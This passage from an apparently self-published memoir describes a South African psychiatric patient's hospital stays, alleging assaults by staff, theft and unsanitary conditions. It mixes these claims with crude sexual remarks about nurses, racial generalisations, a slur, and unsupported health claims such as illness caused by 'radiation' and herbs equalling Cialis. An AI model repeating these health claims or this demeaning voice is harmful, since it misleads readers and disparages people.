To top it all i have to go back to the Umzimkulu Psychiatric Hospital for more evaluation by a general practitioner as there currently is no psychiatrist at the Umzimkulu Psychiatric Hospital and ones fate is decided by a general practionioner. Did you see the movie Rwanda, well what is to follow is very similar. I was the only Caucasian patient in the two wings of the Umzimkulu Psychiatric Hospital amongst forty five Africans. What a nightmare, i was assaulted by an psychotic patient who tried to steal my breakfast, six slices of bread with a bit of butter and tea. i limped for two weeks after this incident with terrible pain in my left buttock. Patients who assault other patients are hit with batons by the security guards and then given Clopixol Acuphase injections to knock them for a few days. The patients fight and hit each other for tobacco especially when the tobbacco runs out and i m the only one who has tobacco. It is impossible to enjoy a hand rolled cigarette by oneself as i was surrounded by twenty psychotic or semi psychotic patients each and every time demanding two pulls of my fag and the patients act as if its there right to my tobacco. Never mind food or gifts received from visitors, one has to eat what one receives at the nursing sisters station or all the food will be taken over by the patients.
What a relief to find out that prison is worse than the Umzimkulu Psychiatric Hospital from two of the patients who actually where in prison, i am being a bit salcastic in this sentence.

On one occasion a patient was bugging me with questions and i told him to speak to the nurse. The nurse told me to "fuck off" and when i went to the sister in charge to report this the security guard followed me and tried to prevent me from speaking to the sister in charge, the security guard from LK Solutions Security then said to me that i am "rubbish" and he will call the other security guards to beat me with battons.

Flooded bathroom floors

Bathing time is African style like the majority of Africans in South Africa bath in a large plastic dish with about twenty litres of water or less. I was quite used to this as this is how i bathed at my wives, Jabu house. Above is a pic of how the basins looked like.

I feel sorry for the patients as most of them receive no visitors and i have never heard of or seen before this episode that nurses walk around with polycop plumbing pipe about four hundred milimeters long and fifteen milimeters thick and assualt the patients. Is this Psychiatry?

On the other hand the sisters in charge and some staff sisters where quite good to me and where very helpfull, but they have to follow the Umzimkulu Psychiatric Hospital rules.

Medication is handed out at 09:30 after breakfast and the patients share the same water cups to down the medication, thank God I do not have turberculousis or some other horrible disease from sharing cups with 45 patients.

The patients spend the whole day in a closed courtyard, fifteen by twenty meters and urinate in one corner of the courtyard as the patients are not allowed to go inside the wards to urinate during the day. The stench of urine is unbearable in that corner of the courtyard unless it rains and the urine washes away into the drain. On one night the urinal was blocked inside the ward and the urinal overflowed with urine for three days. More stench and those patients without shoes walked in the urine. The toilets do not work and faeces build up till someone flushes the toilet with a bucket, most nauseating.

Water is sometimes not available during the night when the water bucket and one cup is not left on the other side of the locked grill gate, never mind the fire hazard. If there was a fire there is no chance in hell that all five wards could be open to let out the patients. The wards, ten patients per ward are locked at night as some windows where broken with axxess to the courtyard from the passage.

At this stage I think I would be ashamed if I was any part of the medical profession, especially the Doctors whom are aware of all this and general practitioners who treat psych patients as there is currently no psychiatrist in the Hospital.

I have sixteen years experience as an electrician in the construction field and seventeen years experience in Information Technology mainly using the Linux operating system as well as Microsoft Windows 8, yet at the Umzimkulu Psychiatric Hospital i must take orders from cleaners and nurses under twenty five years of age, one of the duties of the nurses is to write reports about the patients. If the nurses don't like a patient they write negative reports about a patient. I was so happy and excited to go home on LOA (leave of absence) so one of the nurses asked me if i was having a relapse (from my excitement) can you believe it. The nurses play little mind games and notarize everything a patient does in the courtyard during the day which is mostly sleep. Like i typed before 45 or so nutcases and four sexy nurses just does not go, the males all want the attention of the nurses. Some of the nurses are very very shaftable.

I was unable to pay my bills as i was in the Umzimkulu Psychiatric Hospital and G.J. Crookes Hospital, joy to the world, i now have "hundreds" of debt collector companies after me and my credit rating has dropped to zero. Of course no shrink, G.P., sister, nurse nor social worker will help me out with my debt but someone was very eagar to put me away to Umzimkulu psych hospital because of their grave faux pas. The social worker at the Umzimkulu Psychiatric Hospital has ninety patients in the queue and i was lucky to see the general practionioner on the 13/01/2015 as he was still busy attending to patients from November 2014. This frightens me as i may wait for weeks to see the general practionioner on my return.

Stephen Fry (a BBC presenter) based in London AFAIK has experienced mental health problems for much of his life. I am sure he did not receive the treatment i received in Umzimkulu Psychiatric Hospital, not for the life of my can i still phathom that Psychiatric patients are treated with assualt and abuse as part of there treatment to become well again even thought most of the patients are in the Umzimkulu Psychiatric Hospital are there for drug induced psychosis where they stabbed or assualted someone.

The Zulu language is spoken most of the time and i don't have a clue what is going on especially at the twice daily forced prayer sessions but i have to join in anyway. Jabu my wife is a Zulu girl yet i only understand a bit of Zulu, like "faga lo makulu mthondo kona la ingquza". Jabu is quite religious so i don't have anything against religion if i at least i could understand the singing and chanting.

I think it's disgusting that South Africa receives billions of ZAR in medical grants from overseas for this kind of treatment and never mind the theft. I had a terrible summer flu for two weeks and only realized later that the roll on deodrant shared by forty five patients was for woman. The roll on ordered for the patients at the Umzimkulu Psychiatric Hospital is stolen by someone working in the Hospital for there own use and most of the nursing staff are woman, can't figure out the theft bit as the nursing staff have three to eight thousand ZAR smart phones and drive new 150 000 ZAR plus motor vechicles.

I was treated slightly better than the rest of the patients because i am Caucasian, and like i typed before the only Caucasian within miles of the Umzimkulu Psychiatric Hospital. I hope someone takes notice of this part of my book so my African friends (patients) can receive better treatment instead of being assaulted with battons, high heels and plumbing pipe.

I don't know anymore what is the official language of South Africa but the medication i took home on my leave of absence, the instructions where in Zulu.

I actually fear for my life at Umzimkulu Psychiatric Hospital, the ward where i am now is called Male Block Two. And one of the patients in this ward is some kind of martial arts expert. On my arrival he had to show off his moves whist we where waiting to be counted. (Counting of patients involves the patients sitting for one hour doing nothing waiting the shift to change and then be counted.) From time to time this "martial arts patient" goes a bit nuts especially on the tobacco subject like most other patients, 70% of the patients. Pure joy knowing i can be assaulted or worse anytime for a small amount of tobacco or food.



Hyena attack



Above is a pic of an example of the small pieces of tobacco some patients would gather for hours to roll one fag using a newspaper as rolling paper

Patients are admitted to Male Block One where 80% of the patients are psychotic from actually been ill or mostly drug induced pychosis and smoking of tobacco is allowed. Sorry to burst your bubble, i was never once tested positive for mary jane nor coke nor any other magic mushroom. Then the transition to Male Block Two where smoking tobacco is also allowed. Male Block Three, i dread to go there, there is absolutly no smoking allowed and i have been smoking tobacco for thirty five years. I had a small nervous breakdown on admittance to Male Block One and then to Male Block Two. Each transition is like some kind of initiation ceremony where the patients test to see if they can obtain tobacco and food out of me. One patient actually sits on my bed up to and hour waiting for me to light up as he figures what's mine is his. Not all the patients are like this thank God and i recon i have made a few friends.

Wolf attack

The tobacco saga occurs with all new patients and their tobacco or food is quickly consumed in a few hours. Watching lions, hyenas or vultures on TV or in real life on a kill can give a good picture of the food and tobacco episodes, meaning the food and tobacco brought by visitors to the patients.

Hand rolled fag

Tobacco smoke contains many harmful chemicals such as carbon monoxide, cyanide, nicotine and tar, which cause disease and death. Non-smokers and ex-smokers on average, live longer and are healthier than smokers. For more information call +27117203145

Above is a pic of a hand rolled fag the patients used to roll when i had rizla rolling paper in stock, newspaper was normally used, bit harsh when one has a cold or flu, the newspaper that is.

Boredom is a real killer and lucky enough my brother bought me a few magazines (to the disapproval of some staff nurses as there where semi naked girls in the magazines, wow can you handle that, maybe the staff where afraid that the patients would start shafting each other, too many happy clappies rule this world on a Sabbath day) and a novel with large font as my multi focals where stolen at G.J. Crookes Hospital, Scottburgh, this was Xmas of 2014 on the 22nd of December 2014. My previous business, AMPPOL IT Linux CD's & DVD's keep me busy for sixteen hours a day so you can imagine doing sweet fuck all most of the day from sunrise till 21:00. Some of the patients whom have been at the Umzimkulu Psychiatric Hospital for months, up to nine months or more love it there, free food, free accomandation and free medication, at the taxpayers expense, joy to the world. Lets face it most South Africans have one meal per day if that and at the Umzimkulu Psychiatric Hospital:
BBQ at Jabu's mum's place

I rather enjoy this in the pic above than the menu below


  • 09:30 Breakfast: Six slices of bread with margarine on three of the slices and tea with milk and sugar, sometimes no milk
  • 13:00 Lunch: Rice or phutu pap or saltless samp and 25 gramms of meat unless there is mince meat then 50 gramms, drumstick of chicken sometimes on Sundays
  • 16:30 Supper: Rice and beans or pap and pilchards
  • 20:00: Black over sweetened tea (laced with stay soft) and four slices of bread, two of them with margarine
No need to complain, wow at G.J. Crookes Hospital, the food was better, at least different kinds of porridge for breakfast and an egg and a variety of meat and veggies for lunch. Don't understand why all the Government food dished out is not standard

South Africa is one of the few countries in the world where one can receive treatment for under $3 but this kind of treatment i don't need and i am not the only patient who complains about abuse and assault. Most of the African patients and there families live in the sticks so to whom will they report all this to. I love South Africa and South Africans but this is really the pits.

I noticed many of the patients at the Umzimkulu Psychiatric Hospital take a drug called Risperidone, a horrible piece of work where sixty sixty percentage of males suffer from erectile dysfunction when taking Risperidone, i wonder if the "mental patients" (that's what they are referred to as by the staff) actually have a choice whether to have erectile dysfunction or not, i bet my bottom dollar and it's a fact that no patient is informed of the side effects of the medication they are taking, why should us "mental patients" be informed or have the right to know of side effects, we are the scum of the earth, maybe Government Psychiatry gets it's "info manual" from the holocast. I once researched Risperidone for days on the internet in 2012 and wow what negative reviews. Some of the patients are so spaced out on prescription drugs they sleep most of the day to keep them calm.

During my stay at the Umzimkulu Psychiatric Hospital, i observed the finer art of theft, assualt by LK Security Solutions on patients, i pity the guy (patient) whom escaped from the ajoining ward, his screams could be heard miles away whilst the patient was beat with batons. No respect for patients, i once informed one of the staff members that the burglar bars put up on one window had jaggered steel edges and could hurt someone so the staff member said "let them". There is no outbound communication to the outside world for most of the African patients, if one asks a nurse to send an sms the answer is "battery flat" or "no airtime, mean while the nurses sit using WhatsApp the whole day. Ok it would be a bit heavy if 45 patients used the nurses phone, even though i offered to pay, the nurses could at least answer truthfully and inform the patients that cell phone calls are allowed. The nurses are a bunch of liars and have the cheek to pray twice a day with the patients. If a patient ask a nurse for something the answer is more likely to be "kusasa" (tomorrow). I can understand spending twelve hours a day for five days shift with psychotic patients is a bit taxing but the staff nurses opted for this job and i think that the patients at the Umzimkulu Psychiatric Hospital could be treated with dignity and more humanly.

I learned a whole lot of new Zulu words at Umzimkulu psych hospital like, ingquza, masende and bhebha to the disapproval of Jabu.

Some of the African patients where so desperate for tobacco they would collect the tiny pieces of loose tobacco from the floor and when there was enough tobacco they would roll a "joint" in a manner of speaking.

Don't try this at home or anywhere else and i do not condone this but it seems that according to Umzimkulu Psychiatric Hospital, violence is cool and condoned. As long as you sort out your frustrations with batons, polycop plumbers pipe, high heels, a strawberry jam sandwich and mind bending, muscle spasm causing injections.

I am upset now very upset. How on earth could Dr Ndlovo from G.J. Crookes transfer me from a cage full of pigeons to a cage full of vipers and ruin me financially. If i had been discharged from G.J. Crookes i would have been able to make up my payments. Surely if a patient is so psychotic they would be transferred on day one or two. Yet according to my mother: a security guard impersonating a principal psychiatrist, informed my mother that "they need the beds" which is also not true as there where two empty beds in the ward.

I must have been in a very bad state of mind as one night sister took my blood pressure nightly and allowed me to take her blood pressure on numerous occasions. Imagine that some cleaners and staff nurses allowed me to choose and play songs on there smart phones. Ok i hope this paragraph does not get anyone into trouble but i watched the most fantastic game of soccer with the night staff and security guards one Wednesday night. I stand corrected i was at G.J. Crookes longer than 72 hours as i now remember there was no soccer game the next Wednesday for some or other reason whilst i was at G.J. Crookes Hospital.

Someone whom will remain anonymous, arranged that i do not have to go back to the Umzimkulu Psychiatric Hospital, thank you very much for that.


Restroom


I prefer and so do all of us, a restroom like in the pic above and not a restroom overflowing with shit and piss

I acquired two "bodyguards" in Male block one after my tobacco was stolen off my person whilst i was lying down in the morning sunshine on the tiled section of the courtyard floor. My one bodyguard and friend even himself mentioned that it was stressful holding onto my tobacco and rolling "joints" for me. The other bodyguard had been in the ward for many months and the other African patients where a bit wary of him. He would make sure that the other African patients stayed away whilst the tobacco was rolled mostly using my own purchased paper or if that ran out then newspaper. Best to choose the meanest mother fuckers as your friends in a place like this, which works on occassions.

Talking about "joints", marijuana is freely available at the Umzimkulu Psychiatric Hospital. I found this out when a patient asked me for a light and my bodyguard and best African friend John, told me not to smoke from that "joint" as it contains marijuana. Mary jane is supposed to induce paranoia in mentally ill patients so WTF.

Quite educating this business. I found out that one can crush and smoke pain killers as another room mate who slept opposite me did. Maybe that's why some nurses refused to hand out pain killers without a Doctor's script. So if you have a splitting headache in the afternoon one might obtain some pain killers the next day if lucky. I stay away from pain killers if possible but with my buttock injury from being assaulted and my two week summer cold i was popping pain killer's like crazy. Not thanks to the female Doctor whom i requested pain killers at the nurses station and she did not write them up the first time.

Come to think of it my best African friend went on his knees to talk to this female Doctor at the nurses station. Not that they where married but i was under the impression that Zulu girls serve food on their knees to their husbands. And he was nowhere near psychotic.

To get back to the drugs story, on one occasion i received a phone call in the injection room and there was this newly admitted coloured chap trying to open the medicine trolly. (He also received the customery tobacco treatment on arrival.) A few days later he and the guy who smoked the pain killers managed to steal some drugs from the medicine trolly. They received the baton treatment for their troubles. The assaulting of patients continues to baffle me as i was under the impression that violence in psychiatry was meant to be discouraged (never mind frowned upon) and guys that where in private and most state hospitals, that i have communicated with where never assaulted. Thank God i never witnessed any assault at G.J. Crookes Hospital unlike Umzimkulu Psychiatric Hospital.

On my move from one section to the next at Umzimkulu Psychiatric Hospital i lost my mountain view bed but was soon invited to another ward closer to the windows by two patients, the alterior motives you guest it tobacco. The first ward or section i was in (gets a bit confusing this ward business) but anyhow i had a lovely view of the foothills of the Underberg mountains but knew this stunning view of the mountains and a village which was part of Umzimkulu village would not last and soon became quite mudane. Being an outdoor lover i never dreamt magestic mountains could become so boring.

So much agro and fustration as the patients where not allowed out the wards for walks. In any of the three wards bar one occasion. Maybe the patients would try to escape, wow why on earth would anyone want to escape. The one occasion sixteen patients where allowed to go for a walk outside was for a haircut. I remember that day very well. I was sitting in the courtyard and a female nurse starting picking out patients for a haircut. She called me out and i said no thanks. I did not want my hair to be cut bald as some Africans cut their hair. My blood really boiled and when the sixteen patients where about to get on the way for hair cuts i wanted to go with to have my beard trimmed off. The female nurse then changed her mind and said that i could not go at all. Talk about being petty.

I might be making a big issue of the tobacco story but that was the only occupational therapy there was at the Umzimkulu Psychiatric Hospital and when the patients received their monthly disability grant or visitors brought tobacco the patients who smoked, smoked non stop almost till all their tobacco was finished in two or three days. Might as well make a "meal" of it when you have it. I was rather more cautious and tried to ration my tobacco till Jabu came to visit me. For every one hundred grams of tobacco i received, i recon i smoked fifty grams and the other fifty grams was for "bodyguard" and sharing of tobacco fees.

Ninety five percent of the patients smoked and a large percentage never smoked before but only smoked at the Umzimkulu to pass the time and have something to occupy themselves with, the youngsters under 28 years of age or so would hide there smoking habits from their mothers or family when they came to visit them.

The patients make their own beds in the morning's. The nurses then come along and make the beds again. I found out only one blanket per patient is permitted during the summer months. Allegedly June and July the coldest months, really cold in the Underberg as I found out first hand on some of our vacations in the Drakensberg, two blankets are allowed. One or two degrees celsius (34 F) outside in winter at late night and early morning it gets really cold without a heater in the bedroom wherever you might be in a hotel or the Umzimkulu Psychiatric Hospital. The patients ward windows are not triple glazed but thinking back the glass is 15mm thick so that must help with the cold a wee bit.

How dare the Sisters, nurses (male and female) and security guards force the patients to pray and dance around in a circle singing Zulu religious songs after the way some of them treat the patients, two faced religious attitudes, i am sure it is written somewhere: abuse, assault, degrade ones dignity, humiliate and tomorrow you will be forgiven. I took no part in these prayer "meeting's" other than i was forced to stand. And my last morning at Umzimkulu Psych Hospital i did go around in circles chanting something at the instance of one of the nurses just to please her and not have hassles on my last day.

Not everyone who says to me, Lord, Lord, will enter the kingdom of heaven, but the one who does the will of my Father who is in heaven. On that day many will say to me, Lord, Lord, did we not prophesy in your name, and cast out demons in your name, and do many mighty works in your name? And then will I declare to them, I never knew you; depart from me, you workers of lawlessness. Matthew 7:21-23

I used to be quite a self religious person but i have lost my respect for God due to this hospital stay and psychological after effects, really too much is too much.

I think Stephen Fry is correct with his viewpoint on God. ''The quicker you forget about Him, your life will change for the better"

This is the final nail in the coffin between God and i and it really hurts me to loose faith after so many years, but this is really it, i have had enough. What i have gone through in my life is a fraction of some of the pain and suffering others go or have gone through but i have had enough of this blatant two faced religious attitudes.

And it gets even better, on the 18th Febuary 2015, another anniversary, my birthday, my

The reason i was sent from G.J. Crookes Hospital in Scottburgh, South Africa to the Umzimkulu Psychiatric Hospital was that Doctor Ndlovo filled up a bath and gave me a teaspoon, cup and bucket and asked me to empty the bath, i choose the bucket, she asked me whether i would like a bed by the window in the Umzimkulu Psychiatric Hospital as normal people would pull the bath plug. Just thought i would ad a bit of humour, this did not actually happen but one never knows, many things said in jest could be true.

Crimes against humanity, as defined by the Rome Statute of the International Criminal Court Explanatory Memorandum, "are particularly odious offences in that they constitute a serious attack on human dignity or grave humiliation or a degradation of human beings.

 
 









Part nineteen

November 2015 i relapsed and landed up in the Ethembeni Ward at G.J Crooks Hospital on the 5th of December 2015. This is a government Hospital on the South Coast of South Africa where 95% of the patients are African.

The food at Ethembeni ward is good, mielie meal porridge or jungle oats, egg, bread and tea for breakfast. For lunch a hot meal is served with two veggies and meat as well as phutu or rice. Supper another hot meal with a little less on the plate.

But smoking privlages are few and far between in the psych ward. Five fags a day is all one is allowed, if one has them. The security guards reguarly steal the patients smokes and shared my smokes with other patients. The security guards (there is ways one on duty) find this ward most boring and cannot understand the illness of the patients.

On arrival at the Ethembeni ward i was beaten up by male staff nurses, hit with solid punches to my back for no apparent reason. Must be another lesson they will never forget. I was not that psychotic to imagine that.

Bath time is at around six thirty am and only six thirty am. I was beaten up by two of the biggest security guards for having a bath in the afternoons due to the heat, whilst still in the tub i was pounded with fists to my face. The doctor ignored my complaint.

There are ten beds in the Ethembeni ward, two seclusion room beds. In the five room ward there is a television. The only entertainment is to check out the young nurses butts if they are on duty that day and the cleaner was a real dog. Like i said the hospital has an OT section but there is no OT.

Thank God i was transferred to an infectious ward for a few weeks where i had more freedom. I could smoke when i wanted to and spent the days recovering at a normal pace, there was no beef as to when one could take a shower, not like the Ethembeni ward "prison" where i "misplaced" my wedding band and my multi focals where stolen on another visit.

Yet the powers that be decided to transfer me back to Ethembeni ward as i was smoking too much, like there is so much to do with no OT (occupational therapy) at all, even though the hospital does have an OT section.

The infectious ward has thirty six beds, eight of the beds are taken up by non pychotic psych patients. Can't be that of a infectious ward as only 70% of the nurses wear masks and not all the doctors wear masks. Strange the reason i was sent to Umzimkulu psych hospital, according to the CEO (Chief Security Guard) was that the beds at Ethembeni where full, i never knew the doctors transferred patients from Ethembeni to G2, must be another lesson they will never forget that they gave me.

As usual the security guards are in charge of the ward(s), to be a security guard at a government hospital the security guard has to first go to university for three years at least, in any faculty, the security guards also have to be au fait with beating up one patient, eight against one. Which i witnessed with my own eyes at G2 and at Umzimkulu.

Strange that there are three other security guards, Indian chaps whom use brain power to negotiate with a troublesome patient but they are not around much.

Talent abounds at G.J. Crookes Hospital, there are tons of lovely nurses and sisters. The white nurses uniforms are quite see through at times and nothing beats a nice tight behind. The cleaners are not too bad either and some are quite friendly. On the subject of talent, i would not mind shagging my out patient GP. she is quite cute and also an African. I have been with Jabu for four years now so African "girls" really turn me on.

In the apartheid days i would have been killed for going out with an African girl or marrying one. By the Africans and not the apartheid security police, according to one of the staff nurses at Umzimkulu Psych Hospital.

Nothing wrong at looking as long as one does not touch. Being away from Jabu my wife for such a long time really makes one "jags" (randy). Oh well as long as there where tons of nurses to look at. ED (erectile dysfunction) is a real pain and the doctors don't give a fuck, never mind the herbs cost an arm and a leg a shot (pun intended) but there is no spontaneous love making. The herbs or Cialis have to be taken and then the long wait till the mood changes and we are ready for love making. The joy of living in South africa where the "girls" out number the men fifteen million to one. And yes money talks, African girls like "mlungu" with big bucks, so i will have have no luck in that department. Not that WIC "girls" don't like march, (money) either.


On a brighter side, Xmas day we spent at the beach and had supper at the mall thanks to my brother whom arranged a pass out. It was nice to eat out with my family and especially my wife at one of the restaurants. My brother and i also spent a day at the beach amongst the throng of holiday makers on a previous occasion.

An African lady was locked up in the seclusion room for a few days and all she did was scream at the top of her voice, non stop. She was there for at least one week, strange that she was not transferred to Umzimkhulu.

I think I rather be in a psych ward at G.J. Crookes Hospital (but not Umzimkhulu) than at the oncology ward if i had to choose illnesses. I am so blessed, touch wood not to have any physical illness other than erectile dysfunction which is a cause of the meds i swallow religiously. No joy to those guys whom suffer from blood pressure hassles as well, ED is also part of their game. Two doctors suggested i take Cialis, fuck that i need a boner on demand not having to wait one hour before i can get hard on and stress does not help either, i can take 2000 mg Cialis and will not get it up if i am stressed out.

Just like in Ward one at Umzimkulu Psych Hospital the patients bath in a basin to make them feel really at home. 70% of South Africans bath in a basin at night or during the day with a kettle of hot water or boiled water on a fire. In the country where i come from, after WWII and still into the fifties, ditto for some.

G2 ward at G.J. Crookes had five showers and as i mentioned previously Ethembeni ward had one scalding hot water supply from the bath. A thermostat costs around 250 ZAR, (12 USD). The thermostat was either set on boiling point so 10 patients could have hot water or some dick head needed to replace the thermostat, but who the fuck am i to talk being a former electrician of sixteen years. Maintenance could at least install another water heater back to back.


To top it all on my last out patient visit to G.J. Crookes in May 2016 there was no psychiatrist working in the Hospital and i was seen to by a GP. Hopefully this has changed by now, psychiatrists might as well not study for a few years longer if a GP can do the shrinks job which the cannot.

I obtain a rash from the meds i take but was refused by the GP in May 2016 for a script for Persivate ointment, she informed me "i must go upstairs" and wait another three hours in the queue to see another doctor. Seriously if herbal meds where strong enough for my condition i would be taking them and not these shit meds that give me erectile dysfunction and Cialis costs an arm and a leg which i cannot afford even though there are herbal alternatives at one third of the price which work just as well.

It was rather cold on a motorcycle in May 2016 and i arrived at G.J. Crooks at round 8:00 by the time i obtained my file it was 09:00, i waited till 12:00 to see the GP at the psych clinic. The total cost for the consultation and meds supply for six months is one and one half USD (twenty ZAR) so can't complain there.

It's the assault, violence and theft that really bugs me and this is commited by the security guards even though some nursing sisters and nurses steal the patients food, to take in a lunch box home with them, as well as milk and fresh juice. Odd that someone with a 6000 ZAR smart phone needs to steal. I was once shaking and almost had a nervous breakdown when in front of thirty six patients at G2 an African chap was assaulted and held down by eight security guards, he just cried out "mfowethu mfowethu" (spelling) which means brother in the Zulu language. One needs six months to recuperate after being a patient in a government hospital. Not all Africans are like this, most go to church on a Saturday or Sunday or maybe it's the bible that's the problem.

When one is psychotic one does not know what the fuck is going on so the doctor's and sisters try there best in a fassion with meds that are of dubious nature. Each shrink likes there own meds. Strangely in a private hospital a psych patient recovers on average in ten days but the government hospitals have some philosophy that a psych patient needs to stay from one to three months if not longer. However if a psych patient is too spaced out for care in a private hospital and the twenty four hour "knock out injection" which puts one to sleep, does not work then he or she is sent to a government hospital if the patient is non compliant of all things. So those whom have medical aid really score.

We have discovered from reading this book that violence is acceptable by staff members, theft is A ok in psych wards and hospitals of all places, by the staff. I would not treat my dogs the way i was treated and my African friends where treated in the psych hospitals.
Spot of bad luck in the South Coast for me with my manic episodes spiking due to what i thought was the change in altitude but i will never know as there is only a twenty minute if that consultation with a GP or shrink per out patient session at the G.J Crookes Hospital.





Part twenty

On a very brighter note i was once admitted to THMC, what a holiday camp it was in those days. This was a semi private/government psych Hospital. I believe the historic place has been closed down now due to the high cost of rates and taxes in Sandton, Gauteng, South Africa. A real shame as most of the buildings were from the early 60's, check this out first!!!!!!!maybe 50's or 40's. The procedure is one starts of at a private hospital, then demoted to a government hospital then sent of to THMC for a holiday. At one stage in our lives we will suffer from one illness or other so having bi polar disorder is just one of those things or is it brain radiation from electronic sources.

There where two swimming pools at THMC, some med students don't even know the place. One for the patients and one for the staff nurses who lived in the single quartets. There where also two full size snooker tables in the games room. A cafe for the patients and staff as well. There was a historic chapel and some of the buildings where quite historic which means nothing in South Africa, try knock down a historic building in Europe for instance and see what occurs, just come with bulldozer and put up modern skyscrapers. Come to think of it i got into big shit one night as i was chatting up an African sister, the next day she was put on day shift. What mentality, black is beautiful.

There where six meals served a day, breakfast, tea, lunch, tea, supper and then tea again, tea as in tea or coffee with biscuits not tea tea. The food was quite good and one could put on weight. THMC was nowhere near similar to Barbara Streisand's movie "Nuts". More nut case staff members at Umzimkulu psychc hospital than anywhere else. They really taught me a lesson they will never forget. Sometimes its spelt Umzimkhulu. Which in Zulu means "place of the fucked up mountain", not really but close.


My old man was admitted to the private Milpark Hospital in Johannesburg, twenty six times in his lifetime mostly for RA. He passed away on cortisone OD over the years. The witch doctor that gave him all that cortisone should be shot. RA is a lovely illness to have, screaming all night from the pain. Some doctors take steroids or cortisone so they can drink if they have a certain illness and are on certain meds.

I digress, i met a lovely lass who was about ten years older than i at THMC, we got on well and spent quite a lot of time together. The wards where mixed, females down the one corridor and the men opposite down the same corridor. The girls always used to complain there was not enough hot water from the water heater. They used to walk around with towels wrapped around there heads after a shower or bath, just like a happy home. Both the girls i was intrested in where married so i was out of luck but we where just friends even though i did try to make a move on them, being a bit shy myself it did not work out. They say the ring does not seal the hole, we all know that.

However i spent most of my time with a guy older than i whom suffered from depression. We would walk the grounds, yes believe it or not we where not kept in a cage, like at Umzimkulu and G,J. Crookes hospitals. There was another guy i spent time with as well but he liked it up the bum so they where keeping him there longer. Imagine that just because of your sexual preference the doctors decide that homosexuality is abnormal for mentally ill persons and at Umzimkulu psych hospital a patient would get the acuphase or better injection if they tried to shaft each other. I once had a wank in a seclusion room with another African guy lying next to me on the floor on a blanket and i held his hand as i wanked for some reason, maybe the pros can tell me why, i suppose one needs some human touch now and again and these places can turn one into a moffie, (homosexual) very quickly. I am sure the CEO, (one of the cleaners) saw this through the peep hole and reported it so she could get a nice increase in pay the next year.



Nuttier

Let me jump to the out patient's departement, a pretty pharmacist was always on duty dispensing drugs. After six months i built up the courage to ask her out and she accepted. I shall refer to her as "Miss C", it's not her fault she is/was "fucked up" (that saying she used regularly, i learnt it from her i hope she has not copyrighted it). I was to find out she suffered from bi polar disorder/schizophrenia and last time i heard after we broke up after two years she was a principal pharmacist at a government hospital. At thirty four she had never ever gone four a pap smear before, till i sent her. She had her masters, i must have a phd in bullshit then. Being rather a fairly average big bloke myself, she was much smaller, about 1.6m, but had the venom of a black mamba, her verbal abuse really eventually parted us. When she was not pissed out of her mind she was not too bad of a person but most bi polar persons drink a wee too much or party with mary and jane or better, barring myself unless the stress gets too much, i like a Castle light or two at a braai (BBQ), (i love to be stoned on prescription meds and have ED (erectile dysfunction), what a life). Thank God for herbal booster meds to give one a good cock stand when needed and thanks to the Zulu's for there herbal mhuti (spelling) (potions).




Hunting season



A shot of my face is on the back page of my autobiography

The only reason i stuck it out so long was that her old man had a cattle farm up north with game, (wild animals). 1400 hectares, even though deep down she was good girl, i could not just handle her mood swings and verbal abuse and she was a red head as well. There where kudu, impala, jackals, warthog, leopard to name a few. The kudu is my favourite deer or buck, really magestic, i don't understand why satellite TV in South Africa does not have any shows on kudu. The warthog has a panzer skull and a neck shot is the best. Nothing like free kudu steaks and biltong (jerky) during the hunting season. Wathog venison is an aquired taste. Pity it ended that way but a shrink told me two bi polars will not work out very well together, especially seeing as Miss C did not reguarly take her meds especially when she was pissed out of her mind. And she was not pissed out of her mind because of me she had that problem well before we met.
So that's two fiancées and one wife gone at around forty five years old. Miss C was thirteen years younger than i so i was quite the happy chappy. Anyway she allegedly met a doctor whom she said would marry her, like fuck. I still wonder if there s such an illness as bi polar or as per my previous parts of my book we are radiated with frequencies.

I had a RCI time share and Miss C and i spent many good holidays together except at the Kruger National Park where Miss C was bored as she grew up on a cattle/game farm. I must say she brought me luck as we spotted two lioness kills and we spotted elephants eleven times on different occasions. What a fantastic day at the Kruger that was for me. I always take my visitors from overseas to the Kruger.

Time share resorts are very good options as one purchases one and then can go anywhere in the world for a week or five days holiday and one is not stuck going on holiday the same place all the time. Mabula was my favourite with bad luck the day the others spotted elephants up close and i had the twenty four hour bug. There is horse riding in the game farm and what well trained horses. They will not bolt even though the guide was a bit weary when we came close to a rhino. There are also bufalo at Mabula. So there are two of the big five. But my favourite of all favourites was Dikhololo, "tame" wild game but what fun. Once i was braaing (BBQ) and a giraffe came right up to the braai. On another occasion there where about twelve impala between my bungalo and the swimming pool, situated north of Pretoria the climate is quite warm and the pools are warm warm waters. Warmer than the Indian Ocean if you ask me. We spent a magic seven days at Crystal Springs close to Pilgrims Rest in Mpumulanga. Bit of a long drive to the Kruger. The Drakensberg except the Umzimkulu part of the Underberg and eatern Mpumulanga are awe sum holiday spots for myself as well as the Brits area. I wonder why i am so biased against the village of Umzimkulu.

Lets get back to THMC, i remember there was a fete one year after i was discharged with a band in the open park, rather rude youngsters, singing about fuck this and fuck that at a family gathering which was put to a stop. I did purchase some LP's at a bargain. And my blonde friend was there, i tried to make out with her in my Merc but she was not interested being married and all. She was one stunning blonde and a very nice personality. I had a W123 in those days.

Even though boring at times, this kind of psych hospital i can accept. Not being locked up like an animal in zoo helps a lot.



Part twenty one

Rosy cheeks



Holiday for life



Her dark tanned, golden brown skin had bright rosy cheeks when we made love. I played with her black hair stroking it gently as we made love and young girls love to love. (referring to young girls over 34 years in age, for my age that's perfect). I am a lucky guy Miss C was thirteen years younger than i and Jabu is also thirteen years younger than i. Between Jabu, Miss C and Dorota the first few years/months where 50/50, they where all very good to me. As the years go on marriage seems to worsen for me, just my luck. Miss C however did not love to love.

But "rosy cheeks" is simply the best as Tina Turner's lyrics to her song are sung. Magnificent live concert by the way, was at the concert way back with Dorota in the 90's. It's 50/50 sometimes between the two, Jabu and Dorota, it's the end and afterwards that counts and how much the guy gets abused during the relationship and after wards.

Malangeni North


Malangeni or parts of Malangeni is a wonderful suburb. Jabu's mother's house has a view over the sugar cane and small hills (koppies). A taxi ride through the rolling hills of Malangeni is awesome. Koppies, sugar cane and a good view of the ocean in some parts. There is one part up the hill from Jabu's mothers house i call the "two oceans" where one can see Pennington and the Indian Ocean then a forest and then Bazley and the Indian Ocean. Prime real estate and a direct line of vision to spy on most villages at the coast with a telescope like they do in Northcliff, Johannesburg and if true in the TV series's filmed in New York. A ten kilometer range walkie talkie picks up quite clearly from the "two oceans" way point and a certain waypoint in Pennington village.

Malalgeni North


